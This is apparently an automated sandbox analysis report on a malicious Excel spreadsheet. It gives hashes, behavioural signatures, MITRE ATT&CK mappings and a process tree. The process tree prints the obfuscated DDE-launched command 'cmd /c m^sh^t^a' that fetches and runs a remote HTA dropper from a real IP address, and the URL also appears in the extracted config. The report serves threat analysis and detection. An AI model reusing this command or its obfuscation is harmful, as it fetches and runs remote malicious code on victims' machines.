8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177

Analysis

max time kernel
60s
max time network
32s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
12-11-2024 07:15

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General

Target

8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
Size

142KB
MD5

994d78ed4f375307b15d5886b8c7b1df
SHA1

1f9fbed0fa4a791a6765351b8a242a79ec80d257
SHA256

8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177
SHA512

46b2b712071a87aad30f11b86be7a02f80ada10655762f263e8aaa9888b03b148fb49f73d565d2aedb10d9c7840c0737525bb5302e85f97ce85e9aa1da5b65f7
SSDEEP

3072:4Rk3hbdlylKsgqopeJBWhZFGkE+cL2NdAlhEvN8B/W6X1yxYovrepMUdQ6gSz4iq:Qk3hbdlylKsgqopeJBWhZFVE+W2NdAli

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2804	1760	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2748	mshta.exe
5	2748	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1760	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1760	EXCEL.EXE
1760	EXCEL.EXE
1760	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1760 wrote to memory of 2724	1760	EXCEL.EXE	30
PID 1760 wrote to memory of 2724	1760	EXCEL.EXE	30
PID 1760 wrote to memory of 2724	1760	EXCEL.EXE	30
PID 1760 wrote to memory of 2724	1760	EXCEL.EXE	30
PID 1760 wrote to memory of 2804	1760	EXCEL.EXE	31
PID 1760 wrote to memory of 2804	1760	EXCEL.EXE	31
PID 1760 wrote to memory of 2804	1760	EXCEL.EXE	31
PID 1760 wrote to memory of 2804	1760	EXCEL.EXE	31
PID 2804 wrote to memory of 2748	2804	cmd.exe	33
PID 2804 wrote to memory of 2748	2804	cmd.exe	33
PID 2804 wrote to memory of 2748	2804	cmd.exe	33
PID 2804 wrote to memory of 2748	2804	cmd.exe	33

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8dbb2081a977b17fb9eeccef92e75765fd2d58c871f2e1af3f39ae5336e6b177.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1760
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2724
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1760-1-0x0000000073B4D000-0x0000000073B58000-memory.dmp

Filesize
44KB

Download
memory/1760-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1760-2-0x0000000073B4D000-0x0000000073B58000-memory.dmp

Filesize
44KB

Download